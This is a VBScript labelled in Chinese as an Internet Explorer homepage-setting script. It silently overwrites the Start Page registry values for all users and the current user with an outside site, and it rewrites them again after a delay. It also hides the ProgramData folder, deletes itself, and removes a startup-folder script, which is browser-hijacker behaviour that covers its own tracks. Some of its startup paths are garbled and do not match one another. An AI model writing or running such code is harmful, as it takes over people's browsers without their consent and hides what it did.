设置IE主页脚本

On Error Resume Next

set lhwy=createobject("wscript.shell")

path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InternetExplorer\main\Start Page"

tf=lhwy.regwrite(path,"http://home.yy8000.com/")

set path=nothing

path="HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\InternetExplorer\Main\Start Page"

tf=lhwy.regwrite(path,"http://home.yy8000.com/")

WScript.Sleep(30000)

set lhwy=createobject("wscript.shell")

path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InternetExplorer\main\Start Page"

tf=lhwy.regwrite(path,"http://home.yy8000.com/")

set path=nothing

path="HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\InternetExplorer\Main\Start Page"

tf=lhwy.regwrite(path,"http://home.yy8000.com/")

Dim objws,objfso,dn

Set objws=WScript.CreateObject("wscript.shell")

Set objfso=CreateObject("scripting.filesystemobject")

dn=objfso.GetDriveName(WScript.ScriptFullName)

objws.run "attrib +h " & dn & "\ProgramData",0

Set fso = CreateObject("Scripting.FileSystemObject")

WScript.Sleep 3000 '将脚本执行挂起1秒

fso.DeleteFile(WScript.ScriptName) '删除脚本自身

If fso.FileExists("X:\Documents and Settings\AllUsers\「开始」菜单\程序\启动\uh.VBS") Then

  fso.DeleteFile("X:\Documents andSettings\All Users\「开始」菜单\程序\启动\uh.VBS") '删除程序如果不想删除可以每次都修改主页

end if

Set fso = CreateObject("Scripting.FileSystemObject")

WScript.Sleep 1000 '将脚本执行挂起1秒

fso.DeleteFile(WScript.ScriptName) '删除脚本自身

If fso.FileExists("X:\ProgramData\Microsoft\Windows\StartMenu\Programs\Startup\uh.VBS") Then

fso.DeleteFile("X:\ProgramData\Microsoft\Windows\StartMenu\Programs\Startup\uh.VBS") '删除程序 如果不想删除可以每次都修改主页

end if

Wscript.quit